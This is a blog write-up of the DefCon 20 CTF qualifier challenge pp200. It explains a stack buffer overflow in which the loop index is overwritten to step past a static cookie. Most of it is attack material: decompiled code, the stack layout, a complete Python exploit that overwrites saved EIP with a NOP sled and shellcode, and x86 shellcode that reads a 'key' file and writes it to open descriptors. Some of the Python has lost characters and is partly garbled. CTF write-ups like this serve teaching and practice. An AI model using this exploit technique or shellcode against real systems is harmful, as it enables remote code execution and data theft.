http://blog.oxff.net/#jmjgjxh7rng7hgjyd7hq

2012-06-04 11:36

DefCon 20 CTF Qualifications: pp200

This was a really easy one. The code first read a random value as size to alloca(..) for doing some sort of internal stack randomization. However, there is no single call to srand(..) and thus it will allocate always the same size. The code later reads another offset within this buffer to place the FILE * obtained by fdopen(socket, ..) there, and this time the offset is really random (read from /dev/urandom). However we don't really care about this, as we'll see later.

The code then reads some integer value that must satisfy an easy check and then XORs every input byte against that value; we can make the LSB zero still passing the check and therefore ignore the XOR altogether.

What follows is a text-book stack buffer overflow. The code employs its own static cookie, though:

if ( verify_userid(userid) != 0 )
{
  v3 = *socketfile;
  v4 = strlen(off_804C4E4);
  fwrite(off_804C4E4, v4, 1u, v3);
  fflush(*socketfile);
  do
  {
    inchar = fgetc(*socketfile);
    if ( inchar == -1 )
      break;
    userid_string[idx] = inchar ^ userid;
    cont_cond = userid_string[idx++] != '\n';
  }
  while ( cont_cond );
  result = stack_cookie;
  if ( stack_cookie != 0xFF0A2000 )
  {
    v7 = *socketfile;
    v8 = strlen(off_804C4EC);
    fwrite(off_804C4EC, v8, 1u, v7);
    fflush(*socketfile);
    _exit(1);
  }
}

However, due to the stack layout we do not even have to care about the cookie. The loop index follows the overflowed buffer right away and we can simply overwrite the LSB of the index to continue writing somewhere else:

-00000210 inchar          dd ?
-0000020C userid_string   db 512 dup(?)
-0000000C idx             dd ?
-00000008 stack_cookie    dd ?
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 socketfile      dd ?

The following exploit uses this to directly overwrite the saved EIP after overwriting the index LSB.

import socket, sys, struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect((sys.argv[1], 8912)) s.send('b74b9d86e6cd3480n') s.send('a6f0f000n')

print s.recv(4096)

sc = open('fbsd82_defcon.bin', 'rb').read() sc = 'x90' ((512 - 64) - len(sc)) + sc + '?' 64

buffer = sc + struct.pack('B', 0xf) + struct.pack('<I', 0xbfbee340) s.send(buffer + 'x0a')

print s.recv(4096) print s.recv(4096)

I'm using a very simple shellcode for this that simply opens the file key, reads some content and writes it to the first 64 file descriptors.

NR_open equ 5
NR_read equ 3
NR_write equ 4
NR_exit equ 1

start: xor edx, edx push NR_open pop eax push 0x79656b mov ecx, esp push edx push ecx push eax int 0x80

.read: mov edi, esp push 0x7f push edi push eax push NR_read pop eax push eax int 0x80

.loopinit: mov esi, eax mov ecx, 0x40

trysend: push esi push edi push ecx push NR_write pop eax push eax int 0x80 add esp, 16

.looptail: dec ecx jns trysend

.exit: push NR_exit pop eax int 0x80